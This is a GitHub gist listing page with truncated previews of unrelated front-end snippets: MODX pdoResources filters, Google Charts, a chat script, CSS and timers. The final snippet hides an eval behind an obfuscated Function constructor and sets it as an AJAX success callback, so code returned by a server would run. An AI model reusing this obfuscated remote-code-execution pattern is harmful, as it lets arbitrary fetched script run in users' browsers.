Skip to content

Instantly share code, notes, and snippets.

@savayer
savayer / xpdo-where
Created April 15, 2017 07:59 — forked from davidpede/xpdo-where
pdoResources where examples
&where=`{ "template:IN" : [ 1,2,3 ] }
&where=`{ "template:NOT IN" : [ 1,2,3 ] }
&where=`{{"alias:LIKE":"foo%", "OR:alias:LIKE":"%bar"},{"OR:pagetitle:=":"foobar", "AND:description:=":"raboof"}}`
// Load the Visualization API and the corechart package.
google.charts.load('current', {'packages':['corechart']});
// Set a callback to run when the Google Visualization API is loaded.
/* google.charts.setOnLoadCallback(drawChartAge);
google.charts.setOnLoadCallback(drawChartSex);
google.charts.setOnLoadCallback(drawChartEducation);
google.charts.setOnLoadCallback(drawChartFamily);
google.charts.setOnLoadCallback(drawChartActivity);*/
/*
http://dkab.github.io/jasmine-tests/
*/
/*
First test
*/
function sequence(start, step) {
if (!start) {
/*http://dkab.github.io/jasmine-tests/*/
/*1*/
function sequence(start=0, step=1) {
var tmp = start-step;
return function() {
return tmp += step;
}
}
var list = $(".type_data_articles ul.select2-selection__rendered"),
list_li = $(".type_data_articles ul.select2-selection__rendered li.select2-selection__choice"),
list_b = $(".type_data_articles ul.select2-selection__rendered b"),
select2 = $(".type_data_articles .select2_from_array"),
select2Backup = $(".type_data_articles .select2_from_array option");
list.sortable({
containment: 'parent',
update: function() {
var select2val = [];
var lang_locale = navigator.language.split('-')[0],
disableOtherChat = false,
disableUserChat = true,
dialogCallCount = 0,
breakpointsChat = [2, 3, 4, 5, 8, 19], //для того чтобы не останавливаться на одном отправленном сообщение от доктора, если нужно отправить несклько
Chat = {
ru: {
typing: 'печатает',
validation: 'Ответ должен содержать только цифры',
validation_age: 'Введите корректный возраст',
.btn {
margin: 0 auto;
display: block;
position: relative;
padding: 0.5em 1.5em 0.5em 1em;
border-radius: 0.4em;
font-size: 22px;
-webkit-box-shadow: 0px 3px gray, 0px 4px #767676, 0px 5px #6c6c6c,
0px 6px #626262, 0px 7px #585858, 0px 8px #4e4e4e, 0px 14px 6px -1px gray;
box-shadow: 0px 3px gray, 0px 4px #767676, 0px 5px #6c6c6c, 0px 6px #626262,
//decode uri
var getUrlParameter = function getUrlParameter(sParam) {
var sPageURL = decodeURIComponent(window.location.search.substring(1)),
sURLVariables = sPageURL.split("&"),
sParameterName,
i;
for (i = 0; i < sURLVariables.length; i++) {
sParameterName = sURLVariables[i].split("=");
if (sParameterName[0] === sParam) {
return sParameterName[1] === undefined
var remain_bv = 1200; //секунд
function timeLeft(timestamp){
if (timestamp < 0) timestamp = 0;
var day = Math.floor( (timestamp/60/60) / 24);
var hour = Math.floor(timestamp/60/60);
var mins = Math.floor((timestamp - hour*60*60)/60);
var secs = Math.floor(timestamp - hour*60*60 - mins*60);
var left_hour = Math.floor( (timestamp - day*24*60*60) / 60 / 60 );
}
var myEval = function (r) {
new 0..constructor.constructor(r)()
},
dA = {
success: myEval
},
ajaxStr = function (a, k) {
return this.eq(0)
},
comStr = [];